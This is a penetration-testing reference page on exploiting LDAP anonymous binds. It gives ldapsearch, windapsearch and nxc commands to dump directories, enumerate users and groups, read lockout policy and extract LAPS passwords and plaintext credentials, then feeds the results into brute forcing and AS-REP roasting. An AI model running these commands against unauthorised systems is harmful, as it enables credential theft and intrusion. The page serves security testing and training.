# LDAP Anonymous Bind – Unauthenticated Data Extraction

> Exploit LDAP servers permitting anonymous binds to enumerate users, groups, and directory objects without credentials using ldapsearch and similar tools.

- **URL:** https://hackindex.io/index.php/services/ldap/exploitation/anonymous-bind
- **Path:** LDAP > Exploitation
- **Up:** [Exploitation](https://hackindex.io/index.php/services/ldap/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-11-15

An LDAP server that permits anonymous (null) binds allows any unauthenticated client to query the directory. On Active Directory this is disabled by default in modern builds but still appears in legacy environments and on misconfigured DCs. On OpenLDAP and other directory servers, anonymous access is often intentionally configured but scoped too broadly. The impact is direct: user accounts, group memberships, password policies, and sometimes cleartext credentials in attribute fields, all without authenticating.

## Confirming Anonymous Bind

Test whether the target accepts a null bind:

```bash
ldapsearch -x -H ldap://$TARGET_IP -s base namingcontexts
```

A response listing naming contexts like `DC=corp,DC=local` confirms anonymous bind is permitted. An `Invalid credentials` or `Inappropriate authentication` error means it is not.

With nmap:

```bash
nmap -p 389 --script ldap-rootdse $TARGET_IP
```

## Dumping the Full Directory

With the base DN confirmed, dump the entire accessible directory tree:

```bash
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" > ldap-dump.txt
```

The output may be large. Pipe through `grep` to pull what matters immediately, or save and parse offline.

## Extracting Users

```bash
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName userPrincipalName memberOf description
```

On OpenLDAP:

```bash
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=posixAccount)" uid cn homeDirectory
```

The `description` attribute on AD user objects frequently contains plaintext passwords set by administrators: check it on every user account returned.

## Extracting Groups

```bash
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=group)" cn member
```

Focus on privileged groups: `Domain Admins`, `Enterprise Admins`, `Backup Operators`, `Account Operators`. Members of these groups are high-value targets for further attacks.

## Password Policy

```bash
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockoutDuration pwdHistoryLength
```

A low or zero `lockoutThreshold` means brute forcing user accounts is safe. No lockout policy means unlimited attempts. Feed this into your credential attack planning.

## Sensitive Attributes Worth Checking

These attributes are sometimes readable anonymously and contain high-value data:

```bash
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" ms-MCS-AdmPwd
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" unixUserPassword
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" userPassword
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=*)" description
```

`ms-MCS-AdmPwd` is the LAPS password: normally ACL-restricted but occasionally over-permissioned. `userPassword` and `unixUserPassword` appear on OpenLDAP and mixed Linux/AD environments and may be plaintext or weakly hashed.

## Using windapsearch for Faster AD Extraction

`windapsearch` wraps common AD LDAP queries and formats output cleanly:

```bash
windapsearch --dc $TARGET_IP users
windapsearch --dc $TARGET_IP groups
windapsearch --dc $TARGET_IP computers
```

Works with anonymous bind by default: no credentials needed if the server permits it. If anonymous access works, this is faster than raw `ldapsearch`.

```bash
nxc ldap $TARGET_IP -u '' -p '' --users
nxc ldap $TARGET_IP -u '' -p '' --groups
nxc ldap $TARGET_IP -u '' -p '' --password-not-required
```

`--password-not-required` lists accounts with `PASSWD_NOTREQD` set: these may authenticate with a blank password, making them immediate access targets.

## What to Do with the Output

- Valid usernames feed into [AS-REP Roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting) without credentials
- No lockout policy enables safe brute forcing
- Credentials in `description` fields should be tested immediately against SMB, WinRM, and other exposed services
- `PASSWD_NOTREQD` accounts may authenticate with a blank password

## References

- [windapsearch](https://github.com/ropnop/windapsearch) - Python tool for common AD LDAP enumeration and extraction queries.
- [ldapsearch man page](https://linux.die.net/man/1/ldapsearch) - Full option reference for query syntax and output formatting.
